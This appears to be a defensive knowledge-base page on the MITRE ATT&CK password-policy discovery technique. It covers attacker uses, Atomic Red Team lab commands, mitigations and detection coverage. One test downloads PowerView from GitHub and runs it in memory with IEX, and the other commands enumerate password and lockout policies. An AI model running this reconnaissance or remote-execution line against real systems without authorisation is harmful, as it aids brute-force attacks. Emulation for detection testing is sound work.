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ATT&CK Technique

Password Policy Discovery

T1201 · discovery

Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'.

not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts). Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l <username>, cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies. Adversaries may also leverage a Network Device CLI on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all). Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS.

WindowsLinuxmacOSIaaSNetwork DevicesIdentity ProviderSaaSOffice Suite
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Actors Using This

1
russiaTurla
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Atomic Tests

12
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
bashlinuxExamine password complexity policy - Ubuntu
Lists the password complexity policy to console on Ubuntu Linux. 
cat /etc/pam.d/common-password
shlinuxExamine password complexity policy - FreeBSD
Lists the password complexity policy to console on FreeBSD. 
cat /etc/pam.d/passwd
bashlinuxExamine password complexity policy - CentOS/RHEL 7.x
Lists the password complexity policy to console on CentOS/RHEL 7.x Linux. 
cat /etc/security/pwquality.conf
bashlinuxExamine password complexity policy - CentOS/RHEL 6.x
Lists the password complexity policy to console on CentOS/RHEL 6.x Linux. 
cat /etc/pam.d/system-auth
cat /etc/security/pwquality.conf
bashlinuxExamine password expiration policy - All Linux
Lists the password expiration policy to console on CentOS/RHEL/Ubuntu. 
cat /etc/login.defs
command_promptwindowsExamine local password policy - Windows
Lists the local password policy to console on Windows. 
net accounts
command_promptwindowsExamine domain password policy - Windows
Lists the domain password policy to console on Windows. 
net accounts /domain
bashmacosExamine password policy - macOS
Lists the password policy to console on macOS. 
pwpolicy getaccountpolicies
powershellwindowsGet-DomainPolicy with PowerView
Utilizing PowerView, run Get-DomainPolicy to return the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller. 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainPolicy -verbose
powershellwindowsEnumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy
The following Atomic test will utilize get-addefaultdomainpasswordpolicy to enumerate domain password policy. Upon successful execution a listing of the policy implemented will display. Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps 
get-addefaultdomainpasswordpolicy
command_promptelevatedwindowsUse of SecEdit.exe to export the local security policy (including the password policy)
SecEdit.exe can be used to export the current local security policy applied to a host. [Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d) 
secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt
shiaas:awsExamine AWS Password Policy
This atomic test will display details about the password policy for the current AWS account. 
aws iam get-account-password-policy
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Mitigations

1
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1027Password Policies

Set and enforce secure password policies for accounts to reduce the likelihood of unauthorized access. Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse.

Windows Systems
Use Group Policy Management Console (GPMC) to configure
  • Minimum password length (e.g., 12+ characters).
  • Password complexity requirements.
  • Password history (e.g., disallow last 24 passwords).
  • Account lockout duration and thresholds.
Linux Systems
Configure Pluggable Authentication Modules (PAM)
  • Use pam_pwquality to enforce complexity and length requirements.
  • Implement pam_tally2 or pam_faillock for account lockouts.
  • Use pwunconv to disable password reuse.
Password Managers
  • Enforce usage of enterprise password managers (e.g., Bitwarden, 1Password, LastPass) to generate and store strong passwords.
Password Blacklisting
  • Use tools like Have I Been Pwned password checks or NIST-based blacklist solutions to prevent users from setting compromised passwords.
Regular Auditing
  • Periodically audit password policies and account configurations to ensure compliance using tools like LAPS (Local Admin Password Solution) and vulnerability scanners.
Tools for Implementation Windows
  • Group Policy Management Console (GPMC): Enforce password policies.
  • Microsoft Local Administrator Password Solution (LAPS): Enforce random, unique admin passwords.
Linux/macOS
  • PAM Modules (pam_pwquality, pam_tally2, pam_faillock): Enforce password rules.
  • Lynis: Audit password policies and system configurations.
Cross-Platform
  • Password Managers (Bitwarden, 1Password, KeePass): Manage and enforce strong passwords.
  • Have I Been Pwned API: Prevent the use of breached passwords.
  • NIST SP 800-63B compliant tools: Enforce password guidelines and blacklisting.
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Detection Coverage

1/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 5
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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Caldera Emulation

2
MITRE Caldera abilities that emulate this technique - each is an executable action for automated adversary emulation.
discoverydarwin, linux, windowsPassword Policy
pwpolicy getaccountpolicies
discoverywindowsPassword Policy for a domain
net accounts /domain
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Comply & Defend

NIST 800-53CA-07, CM-02, CM-06, SI-03, SI-04
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